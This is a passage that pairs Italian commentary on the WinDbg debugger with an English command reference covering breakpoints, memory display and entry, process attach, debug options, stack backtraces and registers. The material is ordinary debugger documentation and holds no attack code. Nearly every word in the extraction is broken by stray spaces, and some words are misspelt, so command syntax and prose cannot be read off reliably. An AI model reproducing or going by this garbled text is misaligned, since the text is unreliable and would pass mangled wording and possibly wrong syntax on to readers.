Come avr et e not at o i due ul t i mi br eakpoi nt abi l i t ano i l pr i mo i n i ngr esso ed i n
usci t a.
da not ar e che se l a f unzi one di spone di pi punt i di usci t a al l or a si dovr anno
cr ear e pi br eakpoi nt s come l ul t i mo.
Spesso nel l a gest i one dei wat ch l e var i abi l i cont r ol l at e vanno f uor i scope per
cui al post o del val or e vi ene most r at o i l messaggi o :

CXX0017 Error: symbol not found

Un esempi o pot r ebbe esser e quando si cr ea una common di al og e si esegue i l br eak
del pr ogr amma nel l i st ant e i n cui si dent r o a COMDLG32. DLL cer cando oi di
vi sual i zzar e una var i abi l e dent r o al pr ogr amma con ?gVar
Per veder e l a var i abi l e dent r o al pr ogr amma suf f i cent e dar e

?{,,myapp}gVar

WDBG gest i sce una l i nea di comando al l o st ar t del debugger st esso.
Quest o si st ema pu esser e anche ut i l i zzat o per debuggar e un pr ogr amma
r i di r i gendo STDI N i n modo t al e che pr enda l i nput da t ast i er a.

windbg cmd /c "app < input.txt"


WDBG e s cur ament e un debugger mol t o pi adat t o al l uso con i sor gent i i n
quant o mol t e
i nf or mazi oni non
l e most r a.
Cosa si gni f i ca ?
Al cuni debugger
come Sof t I ce
devono r i cost r ui r e
l e i nf or mazi oni .
Nei codi ci
assembl at i vi
compai ono l e
i nf or mazi oni
si mbol i che sol o
per ch quest e
vengono
r i gener at e.
I n pr at i ca i l
debugger l egge l e
f unzi oni i mpor t at e
e gl i i ndi r i zzi
dove sono st at e
posi zi onat e.
Successi vament e va
a l egger e i l
codi ce sost i t uendo
gl i i ndi r i zzi di
chi amat a con i
nomi del l e
f unzi oni r el at i ve.
Chi ar ament e
possedendo i
sor gent i quest a r i cost r uzi one non necessar i a vi st o che si cur ament e l a f ase di
debug ver r esegui t a seguendo i l t r acci at o nel sor gent e.
I l debugger f or ni sce al cune i nf or mazi oni come ad esempi o quel l e dei modul i l et i
con i l pr ogr amma ( DLL, VBX ecc. )
Di spone di f i nest r e di wat ch, vi sual i zza i r egi st r i , per met t e di i nser i r e
br eakpoi t e possi ede un vsi aul i zzat or e che most r a l e chi amat e nel l o st ack.
Si cur ament e non i l massi mo per cer t i compi t i .
I comandi r el at i vi al l o st ep by st ep sono di sponi bi l i medi ant e pul sant i che
per met t ono di ent r ar e o passar e sopr a al l e f unzi oni pr esent i .
La seguent e l i st a most r a i comandi che possono esser e dat i i n WI NDEBUGGER n4el l a
f i nest r a COMMAND.

* Comment


; Command Separator

Synt ax

;

Exampl es

St ep t wi ce, pr i nt i ng t he var i abl e szVar af t er each st ep.

P; ?szVar ; P; ?szVar


Execut e t o sour ce l i ne 123, pr i nt t he val ue of count er , t hen cont i nue execut i on.

g@123; ?count er ; g

? Evaluate Expression

Eval uat es and di spl ays t he val ue of t he expr essi on or symbol i n t he cont ext of
t he cur r ent t hr ead and pr ocess.

Synt ax

? expr essi on [ , f or mat ]

Par amet er s

expr essi on

Expr essi on t o be eval uat ed wi t h t he expr essi on eval uat or .
The C++ expr essi on eval uat or cannot cal cul at e expr essi ons t hat use t he
condi t i onal oper at or ( ?: ) .

f or mat

C- st yl e f or mat char act er s. For exampl e, t o di spl ay an i nt , use " , i " as t he
f or mat speci f i er . Do not use per cent si gns ( %) . For mor e i nf or mat i on, see t he
t abl e bel ow.

Remar ks

The f ol l owi ng t abl e descr i bes t he C- st yl e f or mat char act er s.

Format Definition Example
D, d, I , I Si gned deci mal i nt eger . > ?0x100, i 256
u Unsi gned deci mal i nt eger . > ?- 1, u 4294967295
o Oct al i nt eger . > ?40000, o 0o00001000000
x, X Hexadeci mal i nt eger . > ?40000, x 0x00040000
f Si gned val ue i n f l oat i ng poi nt f or mat
wi t h si x deci mal pl aces ( t akes
i mpl i ci t / expl i ci t t ype FLOAT as an ar gument ) .
> ?( f l oat ) ( 3. / 2. ) , f 1. 500000
e, E Si gned val ue i n sci ent i f i c not at i on wi t h
up t o si x deci mal pl aces ( t r ai l i ng zer os and
deci mal poi nt ar e t r uncat ed) .
> ?( f l oat ) ( 3. / 2. ) , e 1. 500000e+000
g, G Si gned val ue i n f l oat i ng poi nt deci mal
f or mat or sci ent i f i c f or mat , whi chever i s mor e
compact . > ?( f l oat ) ( 3. / 2. ) , g 1. 5
c Si ngl e char act er . > ?41, c ' A'
s Char act er s up t o t he f i r st nul l
char act er .
> ?szHel l o, s Hel l o ( szHel l o=" Hel l o" )
l Long- Wor d modi f i er . > ?3. / 2. , l f 1. 500000
L Long- Long Wor d modi f i er > ?0xf f f f f f f f , Li - 1
h Hal f - Wor d modi f i er : > ?0x12345, hi 9029

Not e The ' l " , " L" , and " h" modi f i er s wor k di f f er ent l y wi t h di f f er ent base
t ypes.
I f , f or i nst ance, you ar e coer ci ng an expr essi on t o t ype l ong doubl e ( 80 bi t ) ,
t he " L" modi f i er wi l l wor k cor r ect l y on t hat expr essi on. The " L" modi f i er al so
wor ks cor r ect l y on l ong l ong i nt eger expr essi ons, as shown i n t he t abl e above.
Wi ndows Debugger i mpl i ci t l y cast val ues when eval uat i ng an expr essi on. I t
oper at es on t he act ual bi t quant i t y unl ess coer ced t hr ough cast i ng, as shown
above.

! User Extension DLL

Cal l s a DLL f unct i on f r om t he debugger . Use t hi s command t o cal l speci al
r out i nes whi l e debuggi ng.

Synt ax

! [ f i l ename. ] f unct i on [ st r i ng]

Par amet er s

f i l ename

Name of t he DLL t o cal l ( wi t hout t he . DLL ext ensi on) , f ol l owed by a per i od ( . ) .
The def aul t f i l ename i s NTSDEXTS. DLL.

I n ker nel debuggi ng, t he def aul t ext ensi on DLL depends upon t he t ar get pl at f or m:

Tar get Pl at f or m Def aul t Ext ensi on DLL
x86 KDEXTX86. DLL
ALPHA KDEXTALP. DLL
f unct i on

Name of t he DLL f unct i on t o cal l .

st r i ng

St r i ng t o pass t o t he DLL f unct i on.

Remar ks

For a compl et e l i st of t he bui l t - i n ext ensi on commands, ent er ! ? at t he Wi ndows
Debugger pr ompt . For i nf or mat i on on cr eat i ng and usi ng ker nel debugger
ext ensi ons, see t he Wi ndows NT DDK.

| Display Process State

~ Display Thread State

# Search for Disassembly Pattern

% Change Context

Changes t he cont ext t o t he speci f i ed f r ame. Updat es t he Local s wi ndow wi t h t he
var i abl es of t he new f r ame.

Use t he KN command t o l i st t he cal l st ack wi t h t he f r ame number s.

Synt ax

%[ f r ame]

Par amet er s

f r ame

The number of t he f r ame on t he cal l st ack t o change cont ext t o. The cur r ent
pr ocedur e i s number 0 on t he st ack.

.attach Attach to Process

St ar t s debuggi ng t he pr ocess speci f i ed by pr ocess. You can use PVi ew t o f i nd
pr ocess I Ds of r unni ng pr ogr ams.

Thi s command i s equi val ent t o t he / P command- l i ne opt i on. You can al so cl i ck
At t ach t o a Pr ocess f r omt he Debug menu or pr ess F6.

Synt ax

. at t ach pr ocess

Par amet er s

pr ocess

Pr ocess i dent i f i er of t he t ask t o debug, speci f i ed i n deci mal . Use t he 0x pr ef i x
t o speci f y t he pr ocess i dent i f i er i n hexadeci mal .

Remar ks

The pr ocess i s at t ached unt i l t he debugger i s t er mi nat ed. Ther e i s no command t o
unat t ach.

.break Debug Break

.cache Cache Size

Wi nDbg KD onl y

Set s t he si ze of t he cache f or Wi nDbg KD t o use f or memor y val ues.

Synt ax

. cache [ cachesi ze]

Par amet er s

cachesi ze

The si ze of t he ker nel debuggi ng cache, i n MB. I f you do not speci f y cachesi ze,
t he command di spl ays t he st at us of t he cache. I f you i ssue t he command . cache 0,
t he cache i s di sabl ed.

Remar ks

Nor mal oper at i ons, such as si ngl e- st eppi ng or t he G command, i nval i dat e t he
cache. I f Wi nDbg KD has f r ozen t he t ar get comput er , but har dwar e on t he t ar get
can change memor y ( f or exampl e, t hr ough shar ed memor y or DMA) , you must di sabl e
t he cache t o see t he memor y changes. For mor e i nf or mat i on, see Set t i ng Ker nel
Debugger Opt i ons.

.connect Establish Connection

.disconnect Drop Connection

.kill Terminate Process

.list Display Source/Assembly Listing

.logappend Append Log File

.logclose Close Log File

.logopen Open Log File

.opt Set Option

Set s debug opt i ons. To vi ew t he cur r ent debug opt i on set t i ngs, use t hi s command
wi t h no par amet er s. To modi f y a set t i ng, speci f y t he name of t he debug opt i on
and t he appr opr i at e val ue, as i ndi cat ed bel ow. The vi ew an i ndi vi dual debug
opt i on set t i ng, speci f y onl y t he name of t he debug opt i on.

Synt ax

. opt [ DebugOpt i on]

Par amet er s

DebugOpt i on

Thi s par amet er be one of t he f ol l owi ng val ues.

Val ue Meani ng
? Di spl ays t he l i st of suppor t ed debug opt i ons.
AsmSymbol s [ on | of f ] I f t hi s set t i ng i s on, show symbol s i n di sassembl y.
AsmRaw [ on | of f ] I f t hi s set t i ng i s on, show r aw dat a i n di sassembl y.
At t achGo [ on | of f ] I f t hi s set t i ng i s on, do not st op debuggi ng when a new
pr ocess i s at t ached.
Backgr oundSym[ on | of f ] I f t hi s set t i ng i s on, l oad symbol s i n t he backgr ound.
CaseSensi t i ve [ on | of f ] I f t hi s set t i ng i s on, t ur n on case sensi t i vi t y.
Chi l dGo [ on | of f ] I f t hi s set t i ng i s on, do not st op debuggi ng when a new
chi l d pr ocess i s cr eat ed.
CommandRepeat [ on | of f ] I f t hi s set t i ng i s on, ENTER r epeat s t he l ast command.
Dl l Emf i l ename Speci f i es t he name of t he execut i on model DLL.
Dl l Sh f i l ename Speci f i es t he name of t he t r anspor t l ayer DLL.
Dl l Tl f i l ename [ ar gs] Speci f i es t he t r anspor t l ayer DLL.
Dl l Pat h [ " pat h" ] Speci f i es t he sear ch pat h f or symbol s.
EPSt ep [ on | of f ] I f t hi s set t i ng i s on, t he f i r st st ep goes t o t he ent r y
poi nt , not t o mai n.
Exi t Go [ on | of f ] I f t hi s set t i ng i s on, do not st op debuggi ng when a
t hr ead t er mi nat es.
I nher i t Handl es [ on | of f ] I f t hi s set t i ng i s on, t he t ar get appl i cat i on i nher i t s
handl es. Thi s i s usef ul f or debuggi ng debugger s.
I gnor eAl l [ on | of f ] I f t hi s set t i ng i s on, i gnor e al l messages about
symbol s.
KdI ni t i al Bp [ on | of f ] I f t hi s set t i ng i s on, ker nel debuggi ng st ops at t he
i ni t i al br eakpoi nt .
KdEnabl e [ on | of f ] I f t hi s set t i ng i s on, t ur n on t he ker nel debugger .
KdGoExi t [ on | of f ] I f t hi s set t i ng i s on, go on exi t .
KdUseModem[ on | of f ] I f t hi s set t i ng i s on, t he ker nel debugger uses modem
cont r ol s.
KdBaudRat e [ baud] Speci f i es t he ker nel debugger baud r at e ( 1200, 2400, ) .
KdPor t [ por t ] Speci f i es t he ker nel debugger communi cat i on por t ( COM1,
COM2, ) .
KdCacheSi ze [ si ze] Speci f i es t he ker nel debugger cache si ze, i n byt es.
KdPl at f or m[ x86 | al pha] Speci f i es t he ker nel debugger t ar get syst em.
MasmEval [ on | of f ] I f t hi s set t i ng i s on, t ur ns on MASM- st yl e expr essi on
eval uat i on.
Not i f yExi t [ on | of f ] I f t hi s set t i ng i s on, pr i nt s a message upon t hr ead
t er mi nat i on.
Not i f yNew [ on | of f ] I f t hi s set t i ng i s on, pr i nt s a message upon t hr ead
cr eat i on.
Shor t Cont ext [ on | of f ] I f t hi s set t i ng i s on, di spl ays abbr evi at ed cont ext
i nf or mat i on.
Ver bose [ on | of f ] I f t hi s set t i ng i s on, t ur ns on ver bose out put mode.

.reboot Reboot Target Computer

.reload Reload Symbols

.start Start Debugging

.title Set Title

BA Break on Access

Set s a br eakpoi nt t hat wi l l be sat i sf i ed when t he speci f i ed memor y i s accessed.

Thi s command i s equi val ent t o t he BP command wi t h t he f ol l owi ng ar gument :
=addr ess [ / Rcount ] .

Synt ax

BA {access}{si ze} {addr ess}

Par amet er s

access

The t ype of access t hat wi l l sat i sf y t he br eakpoi nt . Thi s par amet er can be one
of t he f ol l owi ng val ues.

Val ue Meani ng
r Br eak on r ead access.
w Br eak on wr i t e access.
e Br eak on execut e access.
si ze

The si ze of t he l ocat i on, i n byt es, t o be moni t or ed f or access. Thi s par amet er
can be 1, 2, or 4.

addr ess

The addr ess at whi ch t o st ar t moni t or i ng.

Remar ks

Thi s command pr ovi des t he same f unct i onal i t y t hat t he debug r egi st er s pr ovi de.
You can br eak execut i on when t he par t i cul ar memor y l ocat i on i s r ead f r om,
wr i t t en t o, or execut ed. The f ol l owi ng exampl e set s a br eakpoi nt f or r ead access
on f our byt es of t he var i abl e var :

ba r 4 &var


The br eakpoi nt i s sat i sf i ed onl y when t he access occur s at t he gi ven addr ess and
f or t he speci f i ed number of byt es. I f t he memor y accessed over l aps t he speci f i ed
ar ea t o moni t or , t he br eakpoi nt i s not sat i sf i ed.
Not e t hat al t hough t he si ze i s r equi r ed f or al l br eakpoi nt t ypes, an execut e
br eakpoi nt i s onl y sat i sf i ed i f t he addr ess i s t he f i r st byt e i n t he
i nst r uct i on.

BC Breakpoint Clear

Removes one or mor e pr evi ousl y set br eakpoi nt s f r omt he syst em. BC * cl ear s al l
br eakpoi nt s.

Thi s command i s equi val ent t o cl i cki ng Br eakpoi nt s f r om t he Edi t menu and
cl i cki ng Cl ear or Cl ear Al l .

Synt ax

BC {br eakpoi nt [ [ br eakpoi nt . . . ] ] | *}

Par amet er s

br eakpoi nt

The number of t he br eakpoi nt t o be cl ear ed. Use t he Br eakpoi nt Li st ( BL) command
t o di spl ay cur r ent l y set br eakpoi nt s and t hei r number s. Speci f y r anges of
br eakpoi nt s wi t h a hyphen. Separ at e mul t i pl e br eakpoi nt s wi t h spaces or commas.


BD Breakpoint Disable

Di sabl es, but does not del et e, one or mor e br eakpoi nt s. BD * di sabl es al l
br eakpoi nt s. Whi l e a br eakpoi nt i s di sabl ed, t he syst emdoes not check t o see i f
t he condi t i ons speci f i ed i n t he br eakpoi nt ar e val i d.

Use t he BE command t o r eenabl e a di sabl ed br eakpoi nt .
Thi s command i s equi val ent t o cl i cki ng Br eakpoi nt s f r om t he Edi t menu and
cl i cki ng Di sabl e.

Synt ax

BD {br eakpoi nt [ [ br eakpoi nt . . . ] ] | *}

Par amet er s

br eakpoi nt

The number of t he br eakpoi nt t o be di sabl ed. Use t he Br eakpoi nt Li st ( BL)
command t o di spl ay cur r ent l y set br eakpoi nt s and t hei r number s. Speci f y r anges
of br eakpoi nt s wi t h a hyphen. Separ at e mul t i pl e br eakpoi nt s wi t h spaces or
commas.

BE Breakpoint Enable

Rest or es one or mor e br eakpoi nt s t hat wer e t empor ar i l y di sabl ed by t he BD
command. BE * enabl es al l br eakpoi nt s.

Thi s command i s equi val ent t o cl i cki ng Br eakpoi nt s f r om t he Edi t menu and
cl i cki ng Enabl e.

Synt ax

BE {br eakpoi nt [ [ br eakpoi nt . . . ] ] | *}

Par amet er s

br eakpoi nt

The number of t he br eakpoi nt t o be enabl ed. Use t he BL command t o di spl ay
cur r ent l y set br eakpoi nt s and t hei r number s. Speci f y r anges of br eakpoi nt s wi t h
a hyphen. Separ at e mul t i pl e br eakpoi nt s wi t h spaces or commas.


BL Breakpoint List

Li st s al l br eakpoi nt s.

Thi s command i s equi val ent t o cl i cki ng Br eakpoi nt s f r omt he Edi t menu.

Synt ax

BL

Remar ks

For each br eakpoi nt , t he command di spl ays t he f ol l owi ng:

The br eakpoi nt number
The br eakpoi nt st at us, wher e " E" i s f or enabl ed, " D" i s f or di sabl ed, " V"
i s f or vi r t ual , and " U" i s f or unknown addr ess. A vi r t ual br eakpoi nt i s a
br eakpoi nt f or code t hat i s not cur r ent l y l oaded.
The condi t i onal i nf or mat i on speci f yi ng t he br eakpoi nt , such as t he
addr ess, expr essi on, and l engt h. I f a br eakpoi nt has a pass count , t he r emai ni ng
number of t i mes t hat t he br eakpoi nt wi l l be i gnor ed i s l i st ed i n par ent heses.

BL al so di spl ays commands t o execut e, message/ message cl asses ( i n t he case of
message br eakpoi nt s) , t hr ead and pr ocess number .

See Al so

Cont ext Oper at or

BP Set Breakpoint

Set s a br eakpoi nt . You can combi ne l ocat i ons, condi t i ons, and opt i ons t o set
di f f er ent ki nds of br eakpoi nt s. I f you do not speci f y a t hr ead, t he br eakpoi nt
wi l l appl y t o al l t hr eads.

Thi s command i s equi val ent t o cl i cki ng Br eakpoi nt s f r om t he Edi t menu and
cl i cki ng Add.

Synt ax

[ [ t hr ead] ] BP[ [ br eakpoi nt ] ] [ [ l ocat i on] ] [ [ condi t i on] ] [ [ opt i on. . . ] ]

Par amet er s

t hr ead

The t hr ead t hat t he br eakpoi nt wi l l appl y t o. For mor e i nf or mat i on, see Pr ocess
and Thr ead Synt ax.

br eakpoi nt

The br eakpoi nt number t o be set . I f t he gi ven br eakpoi nt number al r eady exi st s,
t he new br eakpoi nt wi l l r epl ace t he ol d.

l ocat i on

The memor y l ocat i on of t he br eakpoi nt , i n t he f or mat gi ven i n t he t abl e bel ow.

condi t i on

One of t he br eakpoi nt condi t i ons gi ven i n t he t abl e bel ow. You can speci f y
mul t i pl e condi t i ons f or a br eakpoi nt .

opt i on

One of t he br eakpoi nt opt i ons gi ven i n t he t abl e bel ow. Separ at e mul t i pl e
opt i ons wi t h spaces.

Remar ks

I f you want t o put a br eakpoi nt on a C++ publ i c, encl ose t he expr essi on i n
par ent heses. For exampl e, " BP ( ??MyPubl i c) " or " BP ( oper at or new) " .
On x86 comput er s, Wi ndows Debugger wi l l use debug r egi st er s t o i mpl ement
br eakpoi nt s i f :

t her e i s a debug r egi st er avai l abl e
memor y si ze i s 1
memor y si ze i s 2 and addr ess i s WORD al i gned
memor y si ze i s 4 and addr ess i s DWORD al i gned

You can use t he f ol l owi ng opt i ons when set t i ng a br eakpoi nt :

Locat i on Descr i pt i on
[ [ {[ [ pr ocedur e] ] , [ [ modul e] ] , [ [ exe] ] }] ]
addr ess The addr ess f or t he br eakpoi nt .
[ [ {[ [ pr ocedur e] ] , [ [ modul e] ] , [ [ exe] ] }] ]
@l i ne The l i ne number f or t he br eakpoi nt .
Condi t i on Descr i pt i on
?expr essi on Br eak i f expr essi on i s t r ue.
=addr ess [ [ / Rcount ] ] Br eak i f memor y at addr ess has changed. Use t he / R
opt i on t o speci f y t he number of byt es t o check ( def aul t i s 1) .
Opt i on Descr i pt i on
/ Pcount I gnor e t he br eakpoi nt count t i mes.
/ Ccmdl i st Execut e cmdl i st when t he br eakpoi nt i s hi t . The cmdl i st par amet er i s
a semi col on- separ at ed l i st of one or mor e debugger commands. I f cmdl i st i ncl udes
mul t i pl e commands, encl ose i t i n quot es ( " ) .
/ Mmessagename
/ Mmessagecl ass Br eak onl y i f t he gi ven Wi n32 message or message cl ass has
been r ecei ved.
/ Q Suppr ess t he unr esol ved- br eakpoi nt di al og box f or t hi s br eakpoi nt .
/ Hpr ocess Speci f y t he pr ocess number t o at t ach t he br eakpoi nt t o. Def aul t s t o
al l t hr eads i n t he pr ocess i f / T i s not used. I f / H i s not speci f i ed and no
t ar get appl i cat i on i s r unni ng, t he def aul t i s pr ocess 0.
/ Tt hr ead Speci f y t he t hr ead number t o at t ach t he br eakpoi nt t o. Def aul t s t o
t he cur r ent pr ocess i f / H i s not used.
See Al so

Cont ext Oper at or

C Compare Memory

Compar es t he val ues hel d i n t wo memor y ar eas. Speci f y t he f i r st ar ea wi t h t he
r ange par amet er . Speci f y t he st ar t i ng addr ess of t he second ar ea wi t h addr ess.
The second ar ea i s t he same l engt h as t he f i r st . I f t he t wo ar eas ar e not
i dent i cal , Wi ndows Debugger wi l l di spl ay al l memor y addr esses i n r ange wher e
t hey do not agr ee.

Synt ax

C r ange addr ess

Par amet er s

r ange

The f i r st memor y ar ea t o compar e. For mor e i nf or mat i on, see Range Synt ax.

addr ess

The st ar t i ng addr ess of t he second memor y ar ea.

DA, DB, DC, DD, DI, DS, DT, DU, DW Display Memory

Di spl ays t he cont ent s of memor y i n t he gi ven r ange. Each l i ne shows t he addr ess
of t he f i r st byt e i n t he l i ne, f ol l owed by t he cont ent s of memor y at t hat and
f ol l owi ng l ocat i ons.

I f you omi t r ange, t he command wi l l di spl ay memor y st ar t i ng at t he endi ng
l ocat i on of t he l ast di spl ay command. Thi s al l ows you t o cont i nuousl y scan
t hr ough memor y.
Thi s command i s equi val ent t o cl i cki ng Memor y f r om t he Vi ew menu, or pr essi ng
ALT+5.

Synt ax

D{A| B| C| D| I | S| T| U| W} [ [ r ange] ]

Par amet er s

r ange

The memor y ar ea t o di spl ay. For mor e i nf or mat i on, see Range Synt ax.

Remar ks

When Wi ndows Debugger i s di spl ayi ng ANSI or Uni code char act er s, i t wi l l st op
di spl ayi ng char act er s at t he f i r st nul l byt e. When di spl ayi ng ANSI char act er s,
al l char act er s, i ncl udi ng non- pr i nt abl e char act er s, ar e di spl ayed usi ng t he
cur r ent code page char act er set . Wi t h Uni code, al l non- pr i nt abl e and non-
mappabl e char act er s ar e di spl ayed as dot s.

Command Def i ni t i on Di spl ays
DA Di spl ay ANSI ANSI ( ext ended ASCI I ) char act er s
DB Di spl ay Byt es ( char ) Byt e val ues and ANSI char act er s
DC Di spl ay Code Assembl y- l anguage i nst r uct i ons ( di sassembl y)
DD Di spl ay Doubl e Wor ds ( l ong) Doubl e- wor d ( f our - byt e) val ues and ANSI
char act er s
DI Di spl ay 8- Byt e Real s ( doubl e) 8- byt e hexadeci mal val ues and f l oat i ng- poi nt
r epr esent at i ons
DS Di spl ay 4- Byt e Real s ( f l oat ) 4- byt e hexadeci mal val ues and f l oat i ng- poi nt
r epr esent at i ons
DT Di spl ay 10- Byt e Real s ( l ong doubl e) 10- byt e hexadeci mal val ues and
f l oat i ng- poi nt r epr esent at i ons
DU Di spl ay Uni code Uni code char act er s
DW Di spl ay Wor ds ( shor t ) Wor d val ues and Uni code char act er s
Not e Wi t h t he DC ( Dump Code) command, you can use t he st andar d r ange synt ax or
st ar t addr ess L l i ne t o dump l i ne i nst r uct i ons st ar t i ng at st ar t addr ess.

EA, EB, ED, EI, ES, ET, EU, EW Enter Values

Ent er s t he val ues t hat you speci f y i nt o memor y. I f you do not speci f y any
val ues, t he cur r ent addr ess and t he val ue at t hat addr ess wi l l be di spl ayed. You
can t hen ent er a new val ue, pr eser ve t he cur r ent val ue i n memor y by pr essi ng t he
space bar , or st op ent er i ng dat a by pr essi ng ENTER.

Thi s command i s equi val ent t o cl i cki ng Memor y f r om t he Vi ew menu, or pr essi ng
ALT+5, and ent er i ng val ues.

Synt ax

E{A| B| D| I | S| T| U| W} addr ess [ [ val ues] ]

Par amet er s

addr ess

The st ar t i ng addr ess at whi ch t o ent er val ues.

val ues

One or mor e val ues t o ent er i nt o memor y. Separ at e mul t i pl e numer i c val ues wi t h
spaces.

Remar ks

When ent er i ng numer i c val ues, you can use C- st yl e r adi x pr ef i xes t o over r i de t he
def aul t r adi x. Pr ef i x oct al const ant s wi t h a " 0o" ( f or exampl e 0o1776) ,
hexadeci mal const ant s wi t h " 0x" ( f or exampl e 0xF000) , and deci mal const ant s wi t h
" 0t " ( f or exampl e 0t 199) .
When ent er i ng ANSI or Uni code val ues, you can i ncl ude space ( " " ) char act er s by
encl osi ng t he char act er st r i ng i n quot at i on mar ks ( " or ' ) . I f you encl ose t he
st r i ng i n doubl e quot at i on mar ks, Wi ndows Debugger wi l l aut omat i cal l y nul l -
t er mi nat e t he st r i ng. Si ngl e quot at i on mar ks ( ' ) wi l l not add a nul l char act er .
You can ent er st andar d C escape char act er s, such as \ t , \ 007, and \ " .

Command Ent er
EA ANSI ( ext ended ASCI I ) char act er s
EB Byt e val ues
ED Doubl e wor d ( f our - byt e) val ues
EI Fl oat i ng- poi nt number s ( 8- byt e)
ES Fl oat i ng- poi nt number s ( 4- byt e)
ET Fl oat i ng- poi nt number s ( 10- byt e)
EU Uni code char act er s
EW Wor d val ues

F Freeze Thread

Fr eezes t he gi ven t hr ead, causi ng i t t o st op and wai t unt i l i t i s unf r ozen.
Ot her t hr eads wi l l cont i nue t o execut e. I f no t hr ead i s speci f i ed, t he cur r ent
t hr ead i s f r ozen.

Use t he Z ( Unf r eeze t hr ead) command t o r eenabl e t he t hr ead.
Thi s command i s equi val ent t o cl i cki ng Thr eads f r om t he Debug menu, t hen
cl i cki ng Fr eeze or Fr eeze Al l .

Synt ax

[ [ t hr ead] ] F

Par amet er s

t hr ead

The t hr ead t o be f r ozen. For mor e i nf or mat i on, see Pr ocess and Thr ead Synt ax.
FI A, FI B, FI D, FI I , FI S, FI T, FI U, FI W Fi l l Memor y

Fi l l s t he memor y ar ea speci f i ed by r ange wi t h pat t er n. The ent i r e r ange wi l l be
f i l l ed by r epeat edl y st or i ng pat t er n i nt o memor y.

Synt ax

FI {A| B| D| I | S| T| U| W} r ange pat t er n

Par amet er s

r ange

The memor y ar ea t o f i l l . For mor e i nf or mat i on, see Range Synt ax.

pat t er n

One or mor e val ues t o f i l l memor y wi t h. Separ at e mul t i pl e numer i c val ues wi t h
spaces.

Remar ks

When ent er i ng numer i c val ues, you can use C- st yl e r adi x pr ef i xes t o over r i de t he
def aul t r adi x. Pr ef i x oct al const ant s wi t h a " 0o" ( f or exampl e 0o1776) ,
hexadeci mal const ant s wi t h " 0x" ( f or exampl e 0xF000) , and deci mal const ant s wi t h
" 0t " ( f or exampl e 0t 199) .
When ent er i ng ANSI or Uni code val ues, you can i ncl ude space ( " " ) char act er s by
encl osi ng t he char act er st r i ng i n quot at i on mar ks ( " or ' ) . I f you encl ose t he
st r i ng i n doubl e quot at i on mar ks, Wi ndows Debugger wi l l aut omat i cal l y nul l -
t er mi nat e t he st r i ng. Si ngl e quot at i on mar ks ( ' ) wi l l not add a nul l char act er .
You can ent er st andar d C escape char act er s, such as \ t , \ 007, and \ " .


Command Def i ni t i on Fi l l

FI A Fi l l ANSI ANSI ( ext ended ASCI I ) char act er s
FI B Fi l l Byt es ( char ) Byt e val ues
FI D Fi l l Doubl e Wor ds ( l ong) Doubl e- wor d ( f our - byt e) val ues
FI I Fi l l 8- Byt e Real s ( doubl e) Fl oat i ng- poi nt number s
FI S Fi l l 4- Byt e Real s ( f l oat ) Fl oat i ng- poi nt number s
FI T Fi l l 10- Byt e Real s ( l ong doubl e) Fl oat i ng- poi nt number s
FI U Fi l l Uni code Uni code char act er s
FI W Fi l l Wor ds ( shor t ) Wor d val ues


FR Floating-Point Registers

G Go

GH Go- Exception Handled

GN Go- Exception Not Handled

K, KB, KN, KS, KV Display Stack Backtrace

Di spl ays t he st ack f r ame of t he gi ven t hr ead.

Synt ax

[ [ t hr ead] ] K[ BNSV] [ [ f r amecount ] ] [ [ =f r ameaddr st ackaddr pr ogr amcount er ] ]

Par amet er s

t hr ead

The t hr ead whose st ack i s t o be di spl ayed. For mor e i nf or mat i on, see Pr ocess and
Thr ead Synt ax.

f r amecount

Number of st ack f r ames t o di spl ay.

f r ameaddr
st ackaddr
pr ogr amcount er

When exami ni ng a cor r upt ed st ack on an x86 comput er , you can wal k t he
uncor r upt ed por t i on of t he st ack by speci f yi ng i t s f r ame addr ess, st ack addr ess,
and pr ogr amcount er . Thi s r equi r es det ai l ed knowl edge of how t he st ack wor ks.

Remar ks

Each di spl ay l i ne shows t he name or addr ess of t he pr ocedur e cal l ed, t he
ar gument s used on t he cal l , and t he addr ess of t he st at ement t hat cal l ed i t . You
can use any or al l of t he opt i ons i n a si ngl e command; f or exampl e, K, KB, and
KBNSV ar e val i d commands. The f ol l owi ng t abl e descr i bes t he ef f ect of t he
opt i ons:

Opt i on Ef f ect
none Di spl ays t he basi c cal l st ack based on debuggi ng i nf or mat i on i n t he
execut abl e. I t di spl ays t he f r ame poi nt er , r et ur n addr ess, and f unct i on names.
B Addi t i onal l y di spl ays t he f i r st t hr ee par amet er s of each f unct i on.
N Addi t i onal l y di spl ays t he f r ame number s f or each cal l .
S Addi t i onal l y di spl ays sour ce modul e and l i ne number i nf or mat i on f or each
cal l .
V Addi t i onal l y di spl ays r unt i me f unct i on i nf or mat i on.


L Restart Debuggee

LM List Loaded Modules

Li st s t he speci f i ed l oaded modul es.

Synt ax

LM [ / s [ / o] ] [ / f ] [ modul ename]

Par amet er s

/ s

Li st segment ed modul es. I f you do not speci f y a modul e name, LM wi l l l i st al l
l oaded modul es.

/ f

Li st f l at modul es.

/ o

Sor t s segment ed modul es by sel ect or .

modul ename

Modul e t o l i st .

Remar ks

I f / f and / s ar e bot h absent f r om t he command l i ne, LM wi l l assume bot h; t he
f ol l owi ng t wo commands ar e equi val ent :

> LM
> LM / f / s


Segment ed modul es ar e sor t ed by modul e name, t hen sel ect or , unl ess you speci f i ed
/ o. Fl at modul es ar e sor t ed by base addr ess.

LN Li st Near est Symbol s

Di spl ays t he symbol s at or near t he gi ven addr ess. You can use t hi s command t o
hel p det er mi ne what a poi nt er i s poi nt i ng t o. I t al so can be usef ul when l ooki ng
at a cor r upt ed st ack t o det er mi ne whi ch pr ocedur e made a cal l .

Synt ax

LN addr ess

Par amet er s

addr ess

The addr ess t o sear ch f or symbol s.

M Move Memory

N Set Number Base

P Program Step

Q Quit WinDbg

R Registers

Di spl ays or modi f i es r egi st er s. I f you do not speci f y a t hr ead, t he cur r ent
t hr ead i s used.

Thi s command i s equi val ent t o cl i cki ng Regi st er s f r omt he Vi ew menu, or pr essi ng
ALT+4.

Synt ax

[ [ t hr ead] ] R [ [ r egi st er [ [ =val ue] ] ] ]

Par amet er s

t hr ead

The t hr ead f r om whi ch t he r egi st er s ar e t o be r ead. For mor e i nf or mat i on, see
Pr ocess and Thr ead Synt ax.

r egi st er

The r egi st er t o di spl ay or modi f y.

val ue

The val ue t o assi gn t o t he r egi st er .

Remar ks

I f you do not speci f y a r egi st er , al l of t he r egi st er s ar e di spl ayed. I f you
speci f y a r egi st er , t he command di spl ays t he cur r ent val ue of t he r egi st er . I f
you speci f y bot h a r egi st er and a val ue, t he command changes t he r egi st er t o
cont ai n t he val ue.
